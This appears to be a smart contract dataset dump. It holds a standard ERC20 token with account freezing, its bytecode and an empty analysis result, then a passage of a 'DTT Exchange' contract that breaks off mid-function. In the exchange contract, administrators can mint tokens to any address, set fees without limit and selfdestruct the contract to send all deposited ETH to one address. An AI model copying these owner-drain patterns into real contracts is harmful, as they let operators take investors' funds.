0x16387c3badd26856954e77a0161b776a7ad37a2d
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Freezable is Ownable { mapping(address => bool) public frozenAccounts; event Frozen(address indexed account, bool isFrozen); modifier isNotFrozen () { require(!frozenAccounts[msg.sender]); _; } function freezeAccount(address _addr, bool freeze) public onlyOwner { require(freeze != isFrozen(_addr)); frozenAccounts[_addr] = freeze; Frozen(_addr, freeze); } function freezeAccounts(address[] _addrs, bool freeze) public onlyOwner { for (uint i = 0; i < _addrs.length; i++) { address _addr = _addrs[i]; require(freeze != isFrozen(_addr)); frozenAccounts[_addr] = freeze; Frozen(_addr, freeze); } } function isFrozen(address _addr) public view returns (bool) { return frozenAccounts[_addr]; } } contract MyToken is StandardToken, Freezable { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name; uint8 public decimals; string public symbol; /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _totalSupply total supply of the token. * @param _name token name * @param _symbol token symbol * @param _decimals amount of decimals. */ function MyToken(uint256 _totalSupply, string _name, string _symbol, uint8 _decimals) public { balances[msg.sender] = _totalSupply; // Give the creator all initial tokens totalSupply_ = _totalSupply; name = _name; decimals = _decimals; symbol = _symbol; } /** * Freezable */ function transfer(address _to, uint256 _value) public isNotFrozen returns (bool) { require(!isFrozen(_to)); // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public isNotFrozen returns (bool) { require(!isFrozen(_from)); require(!isFrozen(_to)); // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018457806318160ddd146101de57806323b872dd14610207578063313ce5671461028057806366188463146102af57806370a0823114610309578063860838a5146103565780638da5cb5b146103a757806395d89b41146103fc578063a9059cbb1461048a578063c341b9f6146104e4578063d73dd62314610549578063dd62ed3e146105a3578063e58398361461060f578063e724529c14610660578063f2fde38b146106a4575b600080fd5b341561010157600080fd5b6101096106dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061077b565b604051808215151515815260200191505060405180910390f35b34156101e957600080fd5b6101f161086d565b6040518082815260200191505060405180910390f35b341561021257600080fd5b610266600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610877565b604051808215151515815260200191505060405180910390f35b341561028b57600080fd5b610293610910565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ba57600080fd5b6102ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610923565b604051808215151515815260200191505060405180910390f35b341561031457600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bb4565b6040518082815260200191505060405180910390f35b341561036157600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bfc565b604051808215151515815260200191505060405180910390f35b34156103b257600080fd5b6103ba610c1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040757600080fd5b61040f610c42565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044f578082015181840152602081019050610434565b50505050905090810190601f16801561047c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049557600080fd5b6104ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce0565b604051808215151515815260200191505060405180910390f35b34156104ef57600080fd5b6105476004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050610d62565b005b341561055457600080fd5b610589600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ec0565b604051808215151515815260200191505060405180910390f35b34156105ae57600080fd5b6105f9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110bc565b6040518082815260200191505060405180910390f35b341561061a57600080fd5b610646600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611143565b604051808215151515815260200191505060405180910390f35b341561066b57600080fd5b6106a2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611199565b005b34156106af57600080fd5b6106db600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112bd565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107735780601f1061074857610100808354040283529160200191610773565b820191906000526020600020905b81548152906001019060200180831161075657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156108d257600080fd5b6108db84611143565b1515156108e757600080fd5b6108f083611143565b1515156108fc57600080fd5b610907848484611415565b90509392505050565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a34576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac8565b610a4783826117cf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd85780601f10610cad57610100808354040283529160200191610cd8565b820191906000526020600020905b815481529060010190602001808311610cbb57829003601f168201915b505050505081565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d3b57600080fd5b610d4483611143565b151515610d5057600080fd5b610d5a83836117e8565b905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc157600080fd5b600091505b8351821015610eba578382815181101515610ddd57fe5b906020019060200201519050610df281611143565b151583151514151515610e0457600080fd5b82600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee69884604051808215151515815260200191505060405180910390a28180600101925050610dc6565b50505050565b6000610f5182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f557600080fd5b6111fe82611143565b15158115151415151561121057600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee69882604051808215151515815260200191505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561145257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561149f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561152a57600080fd5b61157b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116df82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156117dd57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561182557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561187257600080fd5b6118c3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611956826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611a1b57fe5b80915050929150505600a165627a7a72305820c2a81a5a818cf70d5b13e7510e98ae363e3c13a76ae9f0fdddfae90ee06c13290029
{"success": true, "error": null, "results": {}}
2,543
0x21062fde0a51b2c5a530d927fa230a351fe0ac82
pragma solidity ^0.4.26; contract DTT_Exchange { // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, uint256 totalSupply, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "DTT Exchange"; string public symbol = "DTT"; uint8 constant public decimals = 0; uint256 constant internal tokenPriceInitial_ = 270000000000000; uint256 constant internal tokenPriceIncremental_ = 270000000; uint256 public percent = 75; uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_; uint256 public grv = 1; address commissionHolder; // holds commissions fees address stakeHolder; // holds stake address dev2; // Marketing funds address dev3; // Advertisement funds address dev4; // Dev ops funds address dev5; // Management funds address dev6; // Server, admin and domain Management /*================================ = DATASETS = ================================*/ mapping(address => uint256) internal tokenBalanceLedger_; address sonk; uint256 internal tokenSupply_ = 0; // uint256 internal profitPerShare_; mapping(address => bool) public administrators; uint256 commFunds=0; constructor() public { sonk = msg.sender; administrators[sonk] = true; commissionHolder = sonk; stakeHolder = sonk; commFunds = 0; } function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function holdStake(uint256 _amount) onlyBagholders() public { tokenBalanceLedger_[msg.sender] = SafeMath.sub(tokenBalanceLedger_[msg.sender], _amount); tokenBalanceLedger_[stakeHolder] = SafeMath.add(tokenBalanceLedger_[stakeHolder], _amount); } function unstake(uint256 _amount, address _customerAddress) onlyAdministrator() public { tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount); tokenBalanceLedger_[stakeHolder] = SafeMath.sub(tokenBalanceLedger_[stakeHolder], _amount); } function withdrawRewards(uint256 _amount, address _customerAddress) onlyAdministrator() public { tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount); tokenSupply_ = SafeMath.add (tokenSupply_,_amount); } function withdrawComm(uint256 _amount, address _customerAddress) onlyAdministrator() public { tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount); tokenBalanceLedger_[commissionHolder] = SafeMath.sub(tokenBalanceLedger_[commissionHolder], _amount); } /** * Alias of sell() and withdraw(). */ function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens,true); uint256 _dividends = _ethereum * percent/1000;//SafeMath.div(_ethereum, dividendFee_); // 7.5% sell fees uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); commFunds += _dividends; // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); _customerAddress.transfer(_taxedEthereum); emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } function registerDev234(address _devAddress2, address _devAddress3, address _devAddress4,address _devAddress5, address _devAddress6,address _commHolder) onlyAdministrator() public { dev2 = _devAddress2; dev3 = _devAddress3; dev4 = _devAddress4; dev5 = _devAddress5; dev6 = _devAddress6; commissionHolder = _commHolder; administrators[commissionHolder] = true; } function totalCommFunds() onlyAdministrator() public view returns(uint256) { return commFunds; } function getCommFunds(uint256 _amount) onlyAdministrator() public { if(_amount <= commFunds) { dev2.transfer(_amount*20/100); dev3.transfer(_amount*20/100); dev4.transfer(_amount*25/100); dev5.transfer(_amount*10/100); dev6.transfer(_amount*25/100); commFunds = SafeMath.sub(commFunds,_amount); } } function transfer(address _toAddress, uint256 _amountOfTokens) onlyAdministrator() public returns(bool) { // setup address _customerAddress = msg.sender; // these are dispersed to shareholders uint256 _tokenFee = _amountOfTokens * 15/100;//SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); emit Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } function destruct() onlyAdministrator() public{ selfdestruct(commissionHolder); } function setPercent(uint256 newPercent) onlyAdministrator() public { percent = newPercent * 10; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function setupCommissionHolder(address _commissionHolder) onlyAdministrator() public { commissionHolder = _commissionHolder; } function totalEthereumBalance() public view returns(uint) { return address(this).balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(2,false); uint256 _dividends = _ethereum * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { return currentPrice_; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell,false); uint256 _dividends = _ethereum * percent/1000;//SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ event testLog( uint256 currBal ); function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = _ethereumToSpend * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, grv, false); _amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100); return _amountOfTokens; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _dividends = _incomingEthereum * percent/1000; commFunds += _dividends; uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, grv, true); tokenBalanceLedger_[commissionHolder] += _amountOfTokens * 20/100; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); //deduct commissions for referrals _amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100); tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, tokenSupply_, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, uint256 _grv, bool buy) internal view returns(uint256) { uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(2**(_grv-1))); uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tokenSupply = tokenSupply_; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); uint256 tempbase = upperBound_(_grv); if((_tokensReceived + _tokenSupply) < tempbase && _tokenSupply < tempbase){ _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); } if((_tokensReceived + _tokenSupply) > tempbase && _tokenSupply < tempbase){ _tokensReceived = tempbase - _tokenSupply; _ethereum = SafeMath.sub( _ethereum, ((_tokensReceived)/2)* ((2*_currentPrice)+((_tokensReceived-1) *_tokenPriceIncremental)) ); _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); _grv = _grv + 1; _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1))); _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tempTokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); _currentPrice = _currentPrice+((_tempTokensReceived-1)*_tokenPriceIncremental); _tokensReceived = _tokensReceived + _tempTokensReceived; } if(buy == true) { currentPrice_ = _currentPrice; grv = _grv; } return _tokensReceived; } function upperBound_(uint256 _grv) internal view returns(uint256) { if(_grv <= 5) { return (60000 * _grv); } if(_grv > 5 && _grv <= 10) { return (50000 * _grv); } if(_grv > 10 && _grv <= 15) { return (40000 * _grv); } if(_grv > 15 && _grv <= 20) { return (30000 * _grv); } return 0; } function tokensToEthereum_(uint256 _tokens, bool sell) internal view returns(uint256) { uint256 _tokenSupply = tokenSupply_; uint256 _etherReceived = 0; uint256 _grv = grv; uint256 tempbase = upperBound_(_grv-1); uint256 _currentPrice = currentPrice_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1))); if((_tokenSupply - _tokens) < tempbase) { uint256 tokensToSell = _tokenSupply - tempbase; uint256 a = _currentPrice - (tokensToSell*_tokenPriceIncremental); _tokens = _tokens - tokensToSell; _etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental))); _currentPrice = 